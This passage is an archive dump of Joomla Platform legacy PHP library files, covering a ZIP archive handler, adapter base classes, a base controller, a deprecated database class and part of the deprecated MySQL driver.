* @return boolean True on success
*
* @since 3.0
* @throws RuntimeException
*/
protected function extractNative($archive, $destination)
{
$zip = new \ZipArchive;
if ($zip->open($archive) !== true)
{
return $this->raiseWarning(100, 'Unable to open archive');
}
// Make sure the destination folder exists
if (!JFolder::create($destination))
{
return $this->raiseWarning(100, 'Unable to create
destination');
}
// Read files in the archive
for ($index = 0; $index < $zip->numFiles; $index++)
{
$file = $zip->getNameIndex($index);
if (substr($file, -1) === '/')
{
continue;
}
$buffer = $zip->getFromIndex($index);
if ($buffer === false)
{
return $this->raiseWarning(100, 'Unable to read entry');
}
if (JFile::write($destination . '/' . $file, $buffer) ===
false)
{
return $this->raiseWarning(100, 'Unable to write entry');
}
}
$zip->close();
return true;
}
/**
* Get the list of files/data from a ZIP archive buffer.
*
* <pre>
* KEY: Position in zipfile
* VALUES: 'attr' -- File attributes
* 'crc' -- CRC checksum
* 'csize' -- Compressed file size
* 'date' -- File modification time
* 'name' -- Filename
* 'method'-- Compression method
* 'size' -- Original file size
* 'type' -- File type
* </pre>
*
* @param string &$data The ZIP archive buffer.
*
* @return boolean True on success
*
* @since 2.5.0
* @throws RuntimeException
*/
private function _readZipInfo(&$data)
{
$entries = array();
// Find the last central directory header entry
$fhLast = strpos($data, $this->_ctrlDirEnd);
do
{
$last = $fhLast;
}
while (($fhLast = strpos($data, $this->_ctrlDirEnd, $fhLast + 1)) !==
false);
// Find the central directory offset
$offset = 0;
if ($last)
{
$endOfCentralDirectory = unpack(
'vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/'
.
'vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength',
substr($data, $last + 4)
);
$offset = $endOfCentralDirectory['CentralDirectoryOffset'];
}
// Get details from central directory structure.
$fhStart = strpos($data, $this->_ctrlDirHeader, $offset);
$dataLength = strlen($data);
do
{
if ($dataLength < $fhStart + 31)
{
return $this->raiseWarning(100, 'Invalid Zip Data');
}
$info =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength',
substr($data, $fhStart + 10, 20));
$name = substr($data, $fhStart + 46, $info['Length']);
$entries[$name] = array(
'attr' => null,
'crc' => sprintf('%08s',
dechex($info['CRC32'])),
'csize' => $info['Compressed'],
'date' => null,
'_dataStart' => null,
'name' => $name,
'method' => $this->_methods[$info['Method']],
'_method' => $info['Method'],
'size' => $info['Uncompressed'],
'type' => null,
);
$entries[$name]['date'] = mktime(
(($info['Time'] >> 11) & 0x1f),
(($info['Time'] >> 5) & 0x3f),
(($info['Time'] << 1) & 0x3e),
(($info['Time'] >> 21) & 0x07),
(($info['Time'] >> 16) & 0x1f),
((($info['Time'] >> 25) & 0x7f) + 1980)
);
if ($dataLength < $fhStart + 43)
{
return $this->raiseWarning(100, 'Invalid ZIP data');
}
$info = unpack('vInternal/VExternal/VOffset', substr($data,
$fhStart + 36, 10));
$entries[$name]['type'] = ($info['Internal'] &
0x01) ? 'text' : 'binary';
$entries[$name]['attr'] = (($info['External'] &
0x10) ? 'D' : '-') . (($info['External']
& 0x20) ? 'A' : '-')
. (($info['External'] & 0x03) ? 'S' :
'-') . (($info['External'] & 0x02) ? 'H'
: '-') . (($info['External'] & 0x01) ?
'R' : '-');
$entries[$name]['offset'] = $info['Offset'];
// Get details from local file header since we have the offset
$lfhStart = strpos($data, $this->_fileHeader,
$entries[$name]['offset']);
if ($dataLength < $lfhStart + 34)
{
return $this->raiseWarning(100, 'Invalid Zip Data');
}
$info =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength',
substr($data, $lfhStart + 8, 25));
$name = substr($data, $lfhStart + 30, $info['Length']);
$entries[$name]['_dataStart'] = $lfhStart + 30 +
$info['Length'] + $info['ExtraLength'];
// Bump the max execution time because not using the built in php zip
libs makes this process slow.
@set_time_limit(ini_get('max_execution_time'));
}
while ((($fhStart = strpos($data, $this->_ctrlDirHeader, $fhStart +
46)) !== false));
$this->_metadata = array_values($entries);
return true;
}
/**
* Returns the file data for a file by offset in the ZIP archive
*
* @param integer $key The position of the file in the archive.
*
* @return string Uncompressed file data buffer.
*
* @since 1.5
*/
private function _getFileData($key)
{
$method = $this->_metadata[$key]['_method'];
if ($method == 0x12 && !extension_loaded('bz2'))
{
return '';
}
switch ($method)
{
case 0x8:
return gzinflate(substr($this->_data,
$this->_metadata[$key]['_dataStart'],
$this->_metadata[$key]['csize']));
case 0x0:
// Files that aren't compressed.
return substr($this->_data,
$this->_metadata[$key]['_dataStart'],
$this->_metadata[$key]['csize']);
case 0x12:
return bzdecompress(substr($this->_data,
$this->_metadata[$key]['_dataStart'],
$this->_metadata[$key]['csize']));
}
return '';
}
/**
* Converts a UNIX timestamp to a 4-byte DOS date and time format
* (date in high 2-bytes, time in low 2-bytes allowing magnitude
* comparison).
*
* @param int $unixtime The current UNIX timestamp.
*
* @return int The current date in a 4-byte DOS format.
*
* @since 1.5
*/
protected function _unix2DOSTime($unixtime = null)
{
$timearray = (is_null($unixtime)) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980)
{
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) |
($timearray['mon'] << 21) | ($timearray['mday']
<< 16) | ($timearray['hours'] << 11) |
($timearray['minutes'] << 5) |
($timearray['seconds'] >> 1);
}
/**
* Adds a "file" to the ZIP archive.
*
* @param array &$file File data array to add
* @param array &$contents An array of existing zipped files.
* @param array &$ctrldir An array of central directory
information.
*
* @return void
*
* @since 1.5
*
* @todo Review and finish implementation
*/
private function _addToZIPFile(array &$file, array &$contents,
array &$ctrldir)
{
$data = &$file['data'];
$name = str_replace('\\', '/',
$file['name']);
/* See if time/date information has been provided. */
$ftime = null;
if (isset($file['time']))
{
$ftime = $file['time'];
}
// Get the hex time.
$dtime = dechex($this->_unix2DosTime($ftime));
$hexdtime = chr(hexdec($dtime[6] . $dtime[7])) . chr(hexdec($dtime[4] .
$dtime[5])) . chr(hexdec($dtime[2] . $dtime[3]))
. chr(hexdec($dtime[0] . $dtime[1]));
/* Begin creating the ZIP data. */
$fr = $this->_fileHeader;
/* Version needed to extract. */
$fr .= "\x14\x00";
/* General purpose bit flag. */
$fr .= "\x00\x00";
/* Compression method. */
$fr .= "\x08\x00";
/* Last modification time/date. */
$fr .= $hexdtime;
/* "Local file header" segment. */
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
/* CRC 32 information. */
$fr .= pack('V', $crc);
/* Compressed filesize. */
$fr .= pack('V', $c_len);
/* Uncompressed filesize. */
$fr .= pack('V', $unc_len);
/* Length of filename. */
$fr .= pack('v', strlen($name));
/* Extra field length. */
$fr .= pack('v', 0);
/* File name. */
$fr .= $name;
/* "File data" segment. */
$fr .= $zdata;
/* Add this entry to array. */
$old_offset = strlen(implode('', $contents));
$contents[] = &$fr;
/* Add to central directory record. */
$cdrec = $this->_ctrlDirHeader;
/* Version made by. */
$cdrec .= "\x00\x00";
/* Version needed to extract */
$cdrec .= "\x14\x00";
/* General purpose bit flag */
$cdrec .= "\x00\x00";
/* Compression method */
$cdrec .= "\x08\x00";
/* Last mod time/date. */
$cdrec .= $hexdtime;
/* CRC 32 information. */
$cdrec .= pack('V', $crc);
/* Compressed filesize. */
$cdrec .= pack('V', $c_len);
/* Uncompressed filesize. */
$cdrec .= pack('V', $unc_len);
/* Length of filename. */
$cdrec .= pack('v', strlen($name));
/* Extra field length. */
$cdrec .= pack('v', 0);
/* File comment length. */
$cdrec .= pack('v', 0);
/* Disk number start. */
$cdrec .= pack('v', 0);
/* Internal file attributes. */
$cdrec .= pack('v', 0);
/* External file attributes -'archive' bit set. */
$cdrec .= pack('V', 32);
/* Relative offset of local header. */
$cdrec .= pack('V', $old_offset);
/* File name. */
$cdrec .= $name;
/* Optional extra field, file comment goes here. */
/* Save to central directory array. */
$ctrldir[] = &$cdrec;
}
/**
* Creates the ZIP file.
*
* Official ZIP file format:
https://support.pkware.com/display/PKZIP/APPNOTE
*
* @param array &$contents An array of existing zipped files.
* @param array &$ctrlDir An array of central directory
information.
* @param string $path The path to store the archive.
*
* @return boolean True if successful
*
* @since 1.5
*
* @todo Review and finish implementation
*/
private function _createZIPFile(array &$contents, array &$ctrlDir,
$path)
{
$data = implode('', $contents);
$dir = implode('', $ctrlDir);
$buffer = $data . $dir . $this->_ctrlDirEnd . /* Total # of entries
"on this disk". */
pack('v', count($ctrlDir)) . /* Total # of entries overall. */
pack('v', count($ctrlDir)) . /* Size of central directory. */
pack('V', strlen($dir)) . /* Offset to start of central dir. */
pack('V', strlen($data)) . /* ZIP file comment length. */
"\x00\x00";
if (JFile::write($path, $buffer) === false)
{
return false;
}
return true;
}
}
base/adapter.php000064400000010615151171674070007623 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Base
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Adapter Class
* Retains common adapter pattern functions
* Class harvested from joomla.installer.installer
*
* @since 1.6
* @deprecated 5.0 Will be removed without replacement
*/
class JAdapter extends JObject
{
/**
* Associative array of adapters
*
* @var JAdapterInstance[]
* @since 1.6
*/
protected $_adapters = array();
/**
* Adapter Folder
*
* @var string
* @since 1.6
*/
protected $_adapterfolder = 'adapters';
/**
* Adapter Class Prefix
*
* @var string
* @since 1.6
*/
protected $_classprefix = 'J';
/**
* Base Path for the adapter instance
*
* @var string
* @since 1.6
*/
protected $_basepath = null;
/**
* Database Connector Object
*
* @var JDatabaseDriver
* @since 1.6
*/
protected $_db;
/**
* Constructor
*
* @param string $basepath Base Path of the adapters
* @param string $classprefix Class prefix of adapters
* @param string $adapterfolder Name of folder to append to base path
*
* @since 1.6
*/
public function __construct($basepath, $classprefix = null, $adapterfolder
= null)
{
$this->_basepath = $basepath;
$this->_classprefix = $classprefix ? $classprefix : 'J';
$this->_adapterfolder = $adapterfolder ? $adapterfolder :
'adapters';
$this->_db = JFactory::getDbo();
}
/**
* Get the database connector object
*
* @return JDatabaseDriver Database connector object
*
* @since 1.6
*/
public function getDbo()
{
return $this->_db;
}
/**
* Return an adapter.
*
* @param string $name Name of adapter to return
* @param array $options Adapter options
*
* @return JAdapterInstance|boolean Adapter of type 'name' or
false
*
* @since 1.6
*/
public function getAdapter($name, $options = array())
{
if (array_key_exists($name, $this->_adapters))
{
return $this->_adapters[$name];
}
if ($this->setAdapter($name, $options))
{
return $this->_adapters[$name];
}
return false;
}
/**
* Set an adapter by name
*
* @param string $name Adapter name
* @param object &$adapter Adapter object
* @param array $options Adapter options
*
* @return boolean True if successful
*
* @since 1.6
*/
public function setAdapter($name, &$adapter = null, $options =
array())
{
if (is_object($adapter))
{
$this->_adapters[$name] = &$adapter;
return true;
}
$class = rtrim($this->_classprefix, '\\') . '\\' .
ucfirst($name);
if (class_exists($class))
{
$this->_adapters[$name] = new $class($this, $this->_db, $options);
return true;
}
$class = rtrim($this->_classprefix, '\\') . '\\' .
ucfirst($name) . 'Adapter';
if (class_exists($class))
{
$this->_adapters[$name] = new $class($this, $this->_db, $options);
return true;
}
$fullpath = $this->_basepath . '/' .
$this->_adapterfolder . '/' . strtolower($name) .
'.php';
if (!file_exists($fullpath))
{
return false;
}
// Try to load the adapter object
$class = $this->_classprefix . ucfirst($name);
JLoader::register($class, $fullpath);
if (!class_exists($class))
{
return false;
}
$this->_adapters[$name] = new $class($this, $this->_db, $options);
return true;
}
/**
* Loads all adapters.
*
* @param array $options Adapter options
*
* @return void
*
* @since 1.6
*/
public function loadAllAdapters($options = array())
{
$files = new DirectoryIterator($this->_basepath . '/' .
$this->_adapterfolder);
/* @type $file DirectoryIterator */
foreach ($files as $file)
{
$fileName = $file->getFilename();
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
// Try to load the adapter object
require_once $this->_basepath . '/' .
$this->_adapterfolder . '/' . $fileName;
// Derive the class name from the filename.
$name = str_ireplace('.php', '',
ucfirst(trim($fileName)));
$class = $this->_classprefix . ucfirst($name);
if (!class_exists($class))
{
// Skip to next one
continue;
}
$adapter = new $class($this, $this->_db, $options);
$this->_adapters[$name] = clone $adapter;
}
}
}
base/adapterinstance.php000064400000002554151171674070011353
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Base
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Adapter Instance Class
*
* @since 1.6
* @deprecated 5.0 Will be removed without replacement
*/
class JAdapterInstance extends JObject
{
/**
* Parent
*
* @var JAdapter
* @since 1.6
*/
protected $parent = null;
/**
* Database
*
* @var JDatabaseDriver
* @since 1.6
*/
protected $db = null;
/**
* Constructor
*
* @param JAdapter $parent Parent object
* @param JDatabaseDriver $db Database object
* @param array $options Configuration Options
*
* @since 1.6
*/
public function __construct(JAdapter $parent, JDatabaseDriver $db, array
$options = array())
{
// Set the properties from the options array that is passed in
$this->setProperties($options);
// Set the parent and db in case $options for some reason overrides it.
$this->parent = $parent;
// Pull in the global dbo in case something happened to it.
$this->db = $db ?: JFactory::getDbo();
}
/**
* Retrieves the parent object
*
* @return JAdapter
*
* @since 1.6
*/
public function getParent()
{
return $this->parent;
}
}
controller/base.php000064400000005161151171674070010366 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Controller
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Application\AbstractApplication;
/**
* Joomla Platform Base Controller Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JControllerBase implements JController
{
/**
* The application object.
*
* @var AbstractApplication
* @since 3.0.0
*/
protected $app;
/**
* The input object.
*
* @var JInput
* @since 3.0.0
*/
protected $input;
/**
* Instantiate the controller.
*
* @param JInput $input The input object.
* @param AbstractApplication $app The application object.
*
* @since 3.0.0
*/
public function __construct(JInput $input = null, AbstractApplication $app
= null)
{
// Setup dependencies.
$this->app = isset($app) ? $app : $this->loadApplication();
$this->input = isset($input) ? $input : $this->loadInput();
}
/**
* Get the application object.
*
* @return AbstractApplication The application object.
*
* @since 3.0.0
*/
public function getApplication()
{
return $this->app;
}
/**
* Get the input object.
*
* @return JInput The input object.
*
* @since 3.0.0
*/
public function getInput()
{
return $this->input;
}
/**
* Serialize the controller.
*
* @return string The serialized controller.
*
* @since 3.0.0
*/
public function serialize()
{
return serialize($this->input);
}
/**
* Unserialize the controller.
*
* @param string $input The serialized controller.
*
* @return JController Supports chaining.
*
* @since 3.0.0
* @throws UnexpectedValueException if input is not the right class.
*/
public function unserialize($input)
{
// Setup dependencies.
$this->app = $this->loadApplication();
// Unserialize the input.
$this->input = unserialize($input);
if (!($this->input instanceof JInput))
{
throw new UnexpectedValueException(sprintf('%s::unserialize would
not accept a `%s`.', get_class($this), gettype($this->input)));
}
return $this;
}
/**
* Load the application object.
*
* @return AbstractApplication The application object.
*
* @since 3.0.0
*/
protected function loadApplication()
{
return JFactory::getApplication();
}
/**
* Load the input object.
*
* @return JInput The input object.
*
* @since 3.0.0
*/
protected function loadInput()
{
return $this->app->input;
}
}
controller/controller.php000064400000002251151171674070011634
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Controller
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Application\AbstractApplication;
/**
* Joomla Platform Controller Interface
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
interface JController extends Serializable
{
/**
* Execute the controller.
*
* @return boolean True if controller finished execution, false if the
controller did not
* finish execution. A controller might return false if
some precondition for
* the controller to run has not been satisfied.
*
* @since 3.0.0
* @throws LogicException
* @throws RuntimeException
*/
public function execute();
/**
* Get the application object.
*
* @return AbstractApplication The application object.
*
* @since 3.0.0
*/
public function getApplication();
/**
* Get the input object.
*
* @return JInput The input object.
*
* @since 3.0.0
*/
public function getInput();
}
database/database.php000064400000012001151171674070010570 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Database connector class.
*
* @since 1.7.0
* @deprecated 4.0
*/
abstract class JDatabase
{
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 1.7.0
* @throws RuntimeException
* @deprecated 4.0
*/
public function query()
{
JLog::add('JDatabase::query() is deprecated, use
JDatabaseDriver::execute() instead.', JLog::WARNING,
'deprecated');
return $this->execute();
}
/**
* Get a list of available database connectors. The list will only be
populated with connectors that both
* the class exists and the static test method returns true. This gives
us the ability to have a multitude
* of connector classes that are self-aware as to whether or not they are
able to be used on a given system.
*
* @return array An array of available database connectors.
*
* @since 1.7.0
* @deprecated 4.0
*/
public static function getConnectors()
{
JLog::add('JDatabase::getConnectors() is deprecated, use
JDatabaseDriver::getConnectors() instead.', JLog::WARNING,
'deprecated');
return JDatabaseDriver::getConnectors();
}
/**
* Gets the error message from the database connection.
*
* @param boolean $escaped True to escape the message string for use
in JavaScript.
*
* @return string The error message for the most recent query.
*
* @deprecated 4.0
* @since 1.7.0
*/
public function getErrorMsg($escaped = false)
{
JLog::add('JDatabase::getErrorMsg() is deprecated, use exception
handling instead.', JLog::WARNING, 'deprecated');
if ($escaped)
{
return addslashes($this->errorMsg);
}
else
{
return $this->errorMsg;
}
}
/**
* Gets the error number from the database connection.
*
* @return integer The error number for the most recent query.
*
* @since 1.7.0
* @deprecated 4.0
*/
public function getErrorNum()
{
JLog::add('JDatabase::getErrorNum() is deprecated, use exception
handling instead.', JLog::WARNING, 'deprecated');
return $this->errorNum;
}
/**
* Method to return a JDatabaseDriver instance based on the given options.
There are three global options and then
* the rest are specific to the database driver. The 'driver'
option defines which JDatabaseDriver class is
* used for the connection -- the default is 'mysqli'. The
'database' option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param array $options Parameters to be passed to the database
driver.
*
* @return JDatabaseDriver A database object.
*
* @since 1.7.0
* @deprecated 4.0
*/
public static function getInstance($options = array())
{
JLog::add('JDatabase::getInstance() is deprecated, use
JDatabaseDriver::getInstance() instead.', JLog::WARNING,
'deprecated');
return JDatabaseDriver::getInstance($options);
}
/**
* Splits a string of multiple queries into an array of individual
queries.
*
* @param string $query Input SQL string with which to split into
individual queries.
*
* @return array The queries from the input string separated into an
array.
*
* @since 1.7.0
* @deprecated 4.0
*/
public static function splitSql($query)
{
JLog::add('JDatabase::splitSql() is deprecated, use
JDatabaseDriver::splitSql() instead.', JLog::WARNING,
'deprecated');
return JDatabaseDriver::splitSql($query);
}
/**
* Return the most recent error message for the database connector.
*
* @param boolean $showSQL True to display the SQL statement sent to
the database as well as the error.
*
* @return string The error message for the most recent query.
*
* @since 1.7.0
* @deprecated 4.0
*/
public function stderr($showSQL = false)
{
JLog::add('JDatabase::stderr() is deprecated.', JLog::WARNING,
'deprecated');
if ($this->errorNum != 0)
{
return JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED',
$this->errorNum, $this->errorMsg)
. ($showSQL ? "<br />SQL =
<pre>$this->sql</pre>" : '');
}
else
{
return JText::_('JLIB_DATABASE_FUNCTION_NOERROR');
}
}
/**
* Test to see if the connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
* @deprecated 4.0 - Use JDatabaseDriver::isSupported() instead.
*/
public static function test()
{
JLog::add('JDatabase::test() is deprecated. Use
JDatabaseDriver::isSupported() instead.', JLog::WARNING,
'deprecated');
return static::isSupported();
}
}
database/driver/mysql.php000064400000033752151171674070011504
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database driver
*
* @link https://dev.mysql.com/doc/
* @since 3.0.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseDriverMysql extends JDatabaseDriverMysqli
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'mysql';
/**
* Constructor.
*
* @param array $options Array of database options with keys: host,
user, password, database, select.
*
* @since 3.0.0
*/
public function __construct($options)
{
// PHP's `mysql` extension is not present in PHP 7, block
instantiation in this environment
if (PHP_MAJOR_VERSION >= 7)
{
throw new JDatabaseExceptionUnsupported(
'This driver is unsupported in PHP 7, please use the MySQLi or PDO
MySQL driver instead.'
);
}
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the MySQL extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('Make sure the MySQL
extension for PHP is installed and enabled.');
}
// Attempt to connect to the server.
if (!($this->connection = @
mysql_connect($this->options['host'],
$this->options['user'],
$this->options['password'], true)))
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
server.');
}
// Set sql_mode to non_strict mode
mysql_query("SET @@SESSION.sql_mode = '';",
$this->connection);
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Pre-populate the UTF-8 Multibyte compatibility flag based on server
version
$this->utf8mb4 = $this->serverClaimsUtf8mb4Support();
// Set the character set (needed for MySQL 4.1.2+).
$this->utf = $this->setUtf();
// Disable query cache and turn profiling ON in debug mode.
if ($this->debug)
{
mysql_query('SET query_cache_type = 0;',
$this->connection);
if ($this->hasProfiling())
{
mysql_query('SET profiling_history_size = 100, profiling =
1;', $this->connection);
}
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysql_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = mysql_real_escape_string($text, $this->getConnection());
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return PHP_MAJOR_VERSION < 7 &&
function_exists('mysql_connect');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
if (is_resource($this->connection))
{
return @mysql_ping($this->connection);
}
return false;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return mysql_affected_rows($this->connection);
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE
or DELETE query, use getAffectedRows().
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
$this->connect();
return mysql_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
return mysql_get_server_info($this->connection);
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
return mysql_insert_id($this->connection);
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
if (!is_resource($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @mysql_query($query, $this->connection);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->cursor;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!mysql_select_db($database, $this->connection))
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
// If UTF is not supported return false immediately
if (!$this->utf)
{
return false;
}
// Make sure we're connected to the server
$this->connect();
// Which charset should I use, plain utf8 or multibyte utf8mb4?
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$result = @mysql_set_charset($charset, $this->connection);
/**
* If I could not set the utf8mb4 charset then the server doesn't
support utf8mb4 despite claiming otherwise.
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
if (!$result && $this->utf8mb4)
{
$this->utf8mb4 = false;
$result = @mysql_set_charset('utf8', $this->connection);
}
return $result;
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return mysql_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return mysql_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return mysql_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
